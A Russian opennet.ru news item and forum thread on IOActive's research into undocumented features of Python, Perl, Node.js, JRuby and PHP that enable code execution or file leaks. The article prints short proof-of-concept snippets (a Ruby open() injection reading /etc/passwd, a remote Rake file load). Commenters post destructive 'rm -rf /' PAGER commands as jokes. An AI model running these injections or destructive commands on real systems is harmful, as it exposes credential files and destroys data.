URL: https://www.opennet.ru/cgi-bin/openforum/vsluhboard.cgi
Форум: vsluhforumID3
Нить номер: 112991
[ Назад ]

Исходное сообщение
"Неявные свойства языков программирования, которые могут прив..."

Отправлено opennews , 10-Дек-17 00:33 
Исследователи из компании IOActive представили на конференции Black Hat Europe доклад (https://www.blackhat.com/docs/eu-17/materials/eu-17-Arnabold...), в котором подвели итоги работы по выявлению  недокументированной функциональности в интерпретируемых языках программирования, которая может потенциально стать причиной появления уязвимостей в приложениях. Код разработанного в рамках исследования инструментария ZDiFF (Extended Differential Fuzzing Framework), который применялся для выявления потенциальных уязвимостей, опубликован (https://github.com/IOActive/XDiFF) под лицензией GPLv3.


Примером подобной функциональности, который подтолкнул к проведению исследования, является давно известная особенность (https://sakurity.com/blog/2015/02/28/openuri.html) открытия ссылок через функцию open() в языке Ruby. При передаче URL в качестве аргумента, данная функция позволяет загрузить удалённую страницу, чем пользуются многие разработчики. При этом не все учитывают, что при отсутствии надлежащей проверки (например, при проверке входных значений через "/^https:/"), вместо URL может быть передана конструкция вида "|head /etc/passwd;\nhttps://url.com", которая приведёт к выполнению кода "head /etc/passwd" в системе.


Проведя fuzzing-тестирование стандартных наборов библиотек популярных языков программирования была выявлена серия недокументированных особенностей в Python, Perl, Node.js, JRuby и PHP, которые сами по себе не являются уязвимостями, но могут стать источником их появления в приложениях:


-  Недокументированный способ выполнения кода в Python, используя метод pipeto() в библиотеке mimetool, метод pipepager в библиотеке pydoc или манипулируя переменной окружения  PAGER  при выполнении метода pager в pydoc.  Например, для выполнения программы id можно использовать


   import mimetools
   print(mimetools.pipeto(None,'id'))

   или
   import pydoc
   print(pydoc.pipepager(None,'id')

   или
   $ export PAGER="id> bar"
   $ python -c "import pydoc;pydoc.pager('foo')"

-  Локальное выполнение кода в программах на языке Perl, использующих функцию embeddable_typemap() из модуля "ExtUtils::Typemaps::Cmd" для загрузки XS typemap, которая имеет неприятную особенность исполнения аргумента как Perl-кода в случае ошибки. Для выполнения программы id можно использовать код (параметр функции embeddable_typemap будет выполнен через eval и результат показан в составе сообщения об ошибке):


   use ExtUtils::Typemaps::Cmd;
   print embeddable_typemap("system 'id'");

-  Утечка данных из файла в составе сообщения об ошибке в Node.JS. При возможности контролировать имена модулей, загружаемых через вызов
require(), в случае попытки загрузки не JavaScript-файла буде сгенерирован SyntaxError, но при использовании JavaScript-движка V8 в составе текста ошибки будет выдано содержимое первой строки файла.
Например, попытка выполнить "console.log(require('.htpasswd'))" приведёт к выводу содержимого первой строки файла ".htpasswd" в тексте ошибки.

-  Возможность выполнения кода в программах JRuby, использующих класс Rake. Напрмер, для выполнения команды id можно разместить на внешнем сайте файл http://x.x.x.x/canaryfile с содержимым "пустая строка puts %x(id)" и инициировать обработку ссылки http://x.x.x.x/canaryfile в функции load_rakefile:


   require "rake";
   puts Rake.load_rakefile("http://x.x.x.x/canaryfile");

-  Выполнение команд в коде на PHP, использующем неопределённые константы, которые интерпретируются как строки. В случае если константы определяются в одном файле, а использующие их вызов   в другом, можно напрямую обратиться ко второму файлу и вместо содержимого константы значение будет обработано как строковое имя константы. Например:


   echo shell_exec(escapeshellcmd(bash." -c id"));

приведёт к выполнению "bash -c id", хотя по задумке разработчиков в константе bash могли передаваться другие данные.


URL: https://www.reddit.com/r/netsec/comments/7igtuv/exposing_hid.../
Новость: http://www.opennet.ru/opennews/art.shtml?num=47714


Содержание

Сообщения в этом обсуждении
"Неявные свойства языков программирования, которые могут прив..."
Отправлено Аноним , 10-Дек-17 01:00 
Все нормальные хостеры давно запретили вызов консольных команд из скрипта РНР...

"Неявные свойства языков программирования, которые могут прив..."
Отправлено нах , 10-Дек-17 01:20 
список этих "нормальных" дятлов озвучьте, плиз. Он не должен быть большим.

чтоб не долго гадать, почему восстановление пароля, к примеру, не работает.


"Неявные свойства языков программирования, которые могут прив..."
Отправлено кавайи , 10-Дек-17 09:27 
>чтоб не долго гадать, почему восстановление пароля, к примеру, не работает.

ну и как восстановление пароля связано с запретом на выполнение консольных команд из скрипта?


"Неявные свойства языков программирования, которые могут прив..."
Отправлено Аноним , 10-Дек-17 01:59 
Я надеялся что "нормальные" шареды уже сдохли в эпоху VPS за 1 евро. Вы меня огорчаете.

"Неявные свойства языков программирования, которые могут прив..."
Отправлено anomymous , 10-Дек-17 13:42 
"VPS за 1 евро" требует от хостящегося ещё знаний апача, нгинха, линухов, умения обновлять систему, следить за производительностью (ага, шаред можед оказаться лучше впс за 1 евро), обновлять всё это хозяйство, файрволить и т.п.

В общем, накладных расходов получается сильно больше 1 евро. Поэтому шареды жили, живут, и жить будут.


"Неявные свойства языков программирования, которые могут прив..."
Отправлено Аноним , 11-Дек-17 04:06 
Я чего то не пойму и нафига вам пароли от докер контейнеров там же ничего нет внутри ...

"Неявные свойства языков программирования, которые могут прив..."
Отправлено amonymous , 11-Дек-17 14:37 
Запустите мне на докере на ноде с 8Гб RAM хотя бы 1500 вхостов - приходите.

"Неявные свойства языков программирования, которые могут прив..."
Отправлено Аноним , 12-Дек-17 01:07 
Это такой толстый тролинг? ну если у вас на тачке живут 1.5к хоумпаг с трафиком 2 поисковых бота и один живой юзер в день, то да шаред хостинг незаменим.

"где VPS за 1 евро?"
Отправлено Иван , 20-Дек-17 22:17 
Это где можно взять VPS за 1 евро? Только с FreeBSD, а не OpenVZ. ihor не предлагайте. Там телефон требуют и деньги без скана паспорта не возвращают.

"Неявные свойства языков программирования, которые могут прив..."
Отправлено pavlinux , 10-Дек-17 20:38 
> Все нормальные хостеры давно запретили вызов консольных команд из скрипта РНР...

Чем консольный head отличается от head.php?


"Неявные свойства языков программирования, которые могут прив..."
Отправлено Anonymoustus , 11-Дек-17 09:44 
Вот он — признак профессионализма. А ведь как умело притворялся…

"Неявные свойства языков программирования, которые могут прив..."
Отправлено Gemorroj , 10-Дек-17 01:55 
про пхп.
в текущей стабильной версии на неопределенные константы кидает варнинг. https://3v4l.org/LOvdj
В будущих версиях неопределенные константы  будут кидать эксепшен http://php.net/manual/ru/migration72.incompatible.php#migrat...
---
да и вообще, несколько притянуто за уши.

"Неявные свойства языков программирования, которые могут прив..."
Отправлено Аноним , 10-Дек-17 19:59 
Во-первых, удивительно, как кому-то вообще пришло в голову обрабатывать так неопределенные константы; во-вторых, удивительно, сколько времени потребовалось, чтобы осознать ошибку.

"Неявные свойства языков программирования, которые могут прив..."
Отправлено wd , 12-Дек-17 02:02 
wd ~ % perl -le 'print "zzz".aaa."zzz"'
zzzaaazzz
wd ~ % perl -le 'sub aaa(){123};print "zzz".aaa."zzz"'
zzz123zzz
wd ~ % perl -wle 'sub aaa(){123};print "zzz".aaa."zzz"'
zzz123zzz
wd ~ % perl -wle 'print "zzz".aaa."zzz"'
Unquoted string "aaa" may clash with future reserved word at -e line 1.
zzzaaazzz

но писать в продакшн без strict моветон...


"Неявные свойства языков программирования, которые могут прив..."
Отправлено Аноним , 12-Дек-17 04:32 
> но писать в продакшн без strict моветон...

и хрен бы с ним, можно и без если например научить себя по дефолту использовать конструкции которые не могуть дать неопределенность


> print "zzz".aaa."zzz"

вот от таких конструкции, например, надо уходить в определенность если программа у вас больше размером одного экрана или не одноразовая для личной конкретной задачи "здесь и сейчас". С определенностью будет так:

> print "zzz".aaa()."zzz"

PS: с perl надо понимать что и для чего вы делаете


"Неявные свойства языков программирования, которые могут прив..."
Отправлено Клыкастый , 18-Дек-17 13:20 
> и хрен бы с ним, можно и без если например научить себя по дефолту

Можно. Но зачем? И можно просто приучить себя к strict - и проще и правильнее.


"Неявные свойства языков программирования, которые могут прив..."
Отправлено Anonymoustus , 12-Дек-17 09:54 
> но писать в продакшн без strict моветон...

Даже как-то не верится, что читаешь это на опеннете.


"Неявные свойства языков программирования, которые могут прив..."
Отправлено Аноним , 10-Дек-17 04:17 
И кто этот pipepager юзает? А со своим PAGER так вообще.

Тоже мне новость, взяли не самые популярные модули и давай фаззить. Я уж было по заголовку подумал, что беда в самих языках. Тут отметился только open в Ruby и, ожидаемо, нода.


"Неявные свойства языков программирования, которые могут прив..."
Отправлено Аноним , 10-Дек-17 06:37 
Да как бы нода тоже довольно притянута. Слабо себе представляю ситуацию, когда бы по пользовательскому вводу подгружались модули. + при этом нужно чтобы еще и стектрейс исключения выплевывался пользователю. Так сейчас мало кто делает.

"Неявные свойства языков программирования, которые могут прив..."
Отправлено Аноним , 10-Дек-17 06:44 
К тому же, в отличии от других проблем, в ноде конкретно эту дыру легко пофиксить, т.к. она не завязана какую-то функциональность, просто не очень аккуратно оформленное сообщение об ошибке. + только первая строчка файла. Вряд ли есть реальные системы, где это можно эксплуатировать.

"Неявные свойства языков программирования, которые могут прив..."
Отправлено Аноним , 10-Дек-17 06:44 
А где же жаба?

"Неявные свойства языков программирования, которые могут прив..."
Отправлено лютый жабист__ , 10-Дек-17 14:30 
Неуязвима само собой :>

"Неявные свойства языков программирования, которые могут прив..."
Отправлено Аноним84701 , 10-Дек-17 23:28 
> Неуязвима само собой :>

В смысле, https://www.opennet.ru/opennews/art.shtml?num=46167
> 09.03.2017 11:04  Волна взломов сайтов через неисправленную уязвимость в Apache Struts
> Уязвимость позволяет выполнить произвольный код на сервере, отправив запрос со специально оформленным содержимым HTTP-заголовка "Content-Type".
> ...
> В случае, если заголовок Content-Type содержит некорректное значение, срабатывает исключение для отображения сообщения об ошибке, которое, если в тексте присутствует маска "multipart/form-data", также приводит к вызову обработчика Multipart parser и выполнению произвольного кода, передаваемого через выражение OGNL.

https://www.opennet.ru/opennews/art.shtml?num=47170
> 10.09.2017 20:02  Уязвимость в Apache Struts стала причиной утечки персональных данных 143 млн американцев

было давно и поэтому почти неправда?



"Неявные свойства языков программирования, которые могут прив..."
Отправлено qsdg , 14-Дек-17 01:13 
Статья была про языки, а не про конкретные программы. Или та дыра была из-за какой-то фичи именно Жабы, из-за которой легко допустить ошибку?

"Неявные свойства языков программирования, которые могут прив..."
Отправлено qrKot , 11-Дек-17 09:12 
>> А где же жаба?

Читаем новость:
"недокументированной функциональности в интерпретируемых языках программирования"
"интерпретируемых языках программирования"
"интерпретируемых"


"Неявные свойства языков программирования, которые могут прив..."
Отправлено qsdg , 14-Дек-17 01:09 
Мистер не знает, что Жаба -- интерпретируемый язык :)

У неё есть встроенный JIT компилятор (как и у почти всех остальных интерпретируемых языков). Для фанатов есть внешние AOT компиляторы, но я на практике не видел, чтобы ими особо пользовались.

Читаем primary goals of java:
...
5. It must be "interpreted, threaded, and dynamic".

https://en.wikipedia.org/wiki/Java_(programming_language)


"Неявные свойства языков программирования, которые могут прив..."
Отправлено ыы , 10-Дек-17 08:38 
Гора родила мышь...

Table 2: Number of functions tested per category
Category Number of Functions Tested
JavaScript 450
PHP 1405
Ruby 2483
Perl 3105
Python 3814


"Неявные свойства языков программирования, которые могут прив..."
Отправлено Аноним , 10-Дек-17 08:52 
Вообще интересно как они исследуют/тестируют так как к примеру в perl упомянутый модуль не входит в базовую поставку, соответственно данная проблема будет только у тех кто пользуется этим модулем. Каким образом они вышли на этот модуль? Они весь cpan подвергают фаззингу?

"Неявные свойства языков программирования, которые могут прив..."
Отправлено Stop , 10-Дек-17 20:09 
Без упоминания перла любой обзор про скриптовые языки становится кастрированным.
Пришлось натягивать сову на глобус.

"Это не 'левый модуль с CPAN', 150 обратных зависимостей"
Отправлено Khedin , 10-Дек-17 23:35 
...включая довольно популярные модули. И в свежепоставленном perlbrew 5.26.1 (последний) он тоже есть. Не баран чихнул.

https://metacpan.org/requires/distribution/ExtUtils-ParseXS?...


"Это не 'левый модуль с CPAN', 150 обратных зависимостей"
Отправлено angra , 11-Дек-17 20:44 
Осталось выяснить, кто из них использует именно ExtUtils::Typemaps::Cmd - модуль предназначенный для однострочников.

"Это не 'левый модуль с CPAN', 150 обратных зависимостей"
Отправлено Аноним , 12-Дек-17 07:16 
>  Осталось выяснить, кто из них использует именно ExtUtils::Typemaps::Cmd - модуль предназначенный для однострочников.

Докладываю:

ExtUtils::Typemaps::Cmd.pm использует никто, поэтому ExtUtils::Typemaps::Cmd::embeddable_typemap еще более никто использует. ExtUtils::Typemaps::Cmd.pm не нужен, но идет поставляется вместе с пакетом ExtUtils::ParseXS. Пакет ExtUtils::ParseXS в CORE был добавлен в perl-5.10.0:
> $ man -P cat perl5100delta | grep ExtUtils
>       ·   "ExtUtils::CBuilder" and "ExtUtils::ParseXS" have been added.
>           "ExtUtils::MakeMaker" to build and install perl modules.

этим коммитом https://perl5.git.perl.org/perl.git/commit
>MANIFEST         diff | blob | blame | history
>dist/ExtUtils-ParseXS/lib/ExtUtils/Typemaps/Cmd.pm     [new file with mode: 0644]     blob
>dist/ExtUtils-ParseXS/t/515-t-cmd.t     [new file with mode: 0644]     blob
>dist/ExtUtils-ParseXS/t/lib/ExtUtils/Typemaps/Test.pm     [new file with mode: 0644]     blob
>dist/ExtUtils-ParseXS/t/lib/TypemapTest/Foo.pm     [new file with mode: 0644]     blob

неким Steffen Mueller'ом 19 января 2012 года в 19:58:49.

Модуль ExtUtils::ParseXS.pm за исключением модулей из ExtUtils::ParseXS::* используется в:
- утилите xsubpp  (из пакета ExtUtils::*)
- модуле ExtUtils::Typemaps.pm (из пакета ExtUtils::*)


"Это не 'левый модуль с CPAN', 150 обратных зависимостей"
Отправлено Аноним , 12-Дек-17 07:18 
> этим коммитом https://perl5.git.perl.org/perl.git/commit

холикрап, вот урл вашей собаке: https://perl5.git.perl.org/perl.git/commitdiff/dbeddf837c500...


"Неявные свойства языков программирования, которые могут прив..."
Отправлено trolleybus , 10-Дек-17 10:54 
> Неявные свойства языков программирования

Вообще-то не языков, а реализаций


"Неявные свойства языков программирования, которые могут прив..."
Отправлено Аноним , 10-Дек-17 11:15 
Получите, адепты типа безопасных языков.

"Неявные свойства языков программирования, которые могут прив..."
Отправлено ano , 10-Дек-17 11:32 
мышки и кактусы все в одном месте.

"Неявные свойства языков программирования, которые могут прив..."
Отправлено Аноним , 10-Дек-17 12:41 
$ export PAGER='rm -rf  /'
$ git diff

"Неявные свойства языков программирования, которые могут прив..."
Отправлено pavlinux , 10-Дек-17 20:43 
> $ export PAGER='rm -rf  /'
> $ git diff

О мамонт, если ты был в заморозке последние 15 лет, то просвещаю: 'rm -rf /' не работает.


"Неявные свойства языков программирования, которые могут прив..."
Отправлено anonimus , 10-Дек-17 22:10 
Суть уловить не судьба?

"Неявные свойства языков программирования, которые могут прив..."
Отправлено PnDx , 11-Дек-17 13:16 
Попробуйте так:
export PAGER='rm -rf  /* 2>/dev/null'
git diff
#"Удовлетворение 100% гарантируем" ©

"Неявные свойства языков программирования, которые могут прив..."
Отправлено Аноним , 10-Дек-17 13:45 
Да там сами языки - одна большая уязвимость. Особенно JS и PHP с их безумной типизацией.

"Неявные свойства языков программирования, которые могут прив..."
Отправлено Anonymoustus , 11-Дек-17 09:50 
Зато вот принято говорить, что низок порог вхождения, ага.

"Неявные свойства языков программирования, которые могут прив..."
Отправлено Led , 11-Дек-17 22:22 
> Зато вот принято говорить, что низок порог вхождения, ага.

Это не порог, это плинтус.


"Неявные свойства языков программирования, которые могут прив..."
Отправлено антон , 11-Дек-17 22:49 
... вхождения в ад, вниз, под плинтус.

"Неявные свойства языков программирования, которые могут прив..."
Отправлено Аноним , 14-Дек-17 16:50 
Компьютеры - одна большая уязвимость.

"Неявные свойства языков программирования, которые могут прив..."
Отправлено stalkerdroad , 10-Дек-17 15:04 
>> PHP
>> В случае если константы определяются в одном файле, а использующие их вызов в другом, можно напрямую обратиться ко второму файлу

В современных сайтах обращение к конкретным файлам не возможно. Там все запросы идут через Входной Скрипт.


"Неявные свойства языков программирования, которые могут прив..."
Отправлено pavlinux , 10-Дек-17 20:45 
> В современных сайтах

Кто такие "современные сайты" и где живёт "входной скрипт"? :)


"Неявные свойства языков программирования, которые могут прив..."
Отправлено rshadow , 11-Дек-17 01:06 
По всей видимости имеется ввиду сайт на современном фреймворке. Где в целях "красивого" роутинга используется единая точка входа всех запросов.

"Неявные свойства языков программирования, которые могут прив..."
Отправлено stalkerdroad , 11-Дек-17 12:15 
> в целях "красивого" роутинга

И в целях безопасности. Файл Точки Входа может быть в папке htdocs, а остальные скрипты вообще в другой папке недоступной для вебсервера.

И в целях удобства обработки запросов. Когда на сайте сотни страниц (скриптов), то естественно придёшь к идее что нужно всё както упорядочить. И сделать единую точку входа.


"Неявные свойства языков программирования, которые могут прив..."
Отправлено Аноним , 10-Дек-17 16:19 
Популярными становятся языки, которые пытаются казаться более умными и дружественными программисту: удобно же, когда можно особо передать что угодно в open и оно откроется, а то, что язык в результате становиться менее предсказуемым и более магическим не так важно, ведь чтобы стать популярным, язык должен угождать.

"Неявные свойства языков программирования, которые могут прив..."
Отправлено Аноним , 10-Дек-17 16:23 
Недоредактировал:
s/особо//
s/становиться/становится/

"Неявные свойства языков программирования, которые могут прив..."
Отправлено Аноним , 10-Дек-17 22:33 
Использую перл последние 18 лет, о существовании модуля `ExtUtils::Typemaps::Cmd` узнал только что из этой статьи.

"Неявные свойства языков программирования, которые могут прив..."
Отправлено Аноним , 11-Дек-17 09:40 
Используешь перл - имеется в виду используешь софт, который использует перл?
ну тогда и я знаю си с самого 1995 года (а учиться программированию начал в 2007)

"Неявные свойства языков программирования, которые могут прив..."
Отправлено Аноним , 12-Дек-17 04:13 
> Используешь перл - имеется в виду используешь софт
> а учиться программированию начал

мог бы и не начинать


"Неявные свойства языков программирования, которые могут прив..."
Отправлено Аноним , 11-Дек-17 00:01 
>является давно известная особенность открытия ссылок через функцию open()

zero-cost abstractions такие zero-cost


"Неявные свойства языков программирования, которые могут прив..."
Отправлено Аноним , 12-Дек-17 01:13 
тогда уж вот так
puts Rake.load_rakefile(my_var);
И да, мы тут всей конторой грузим исполняемые файлы из переменных, при этом специально не проверяем их ))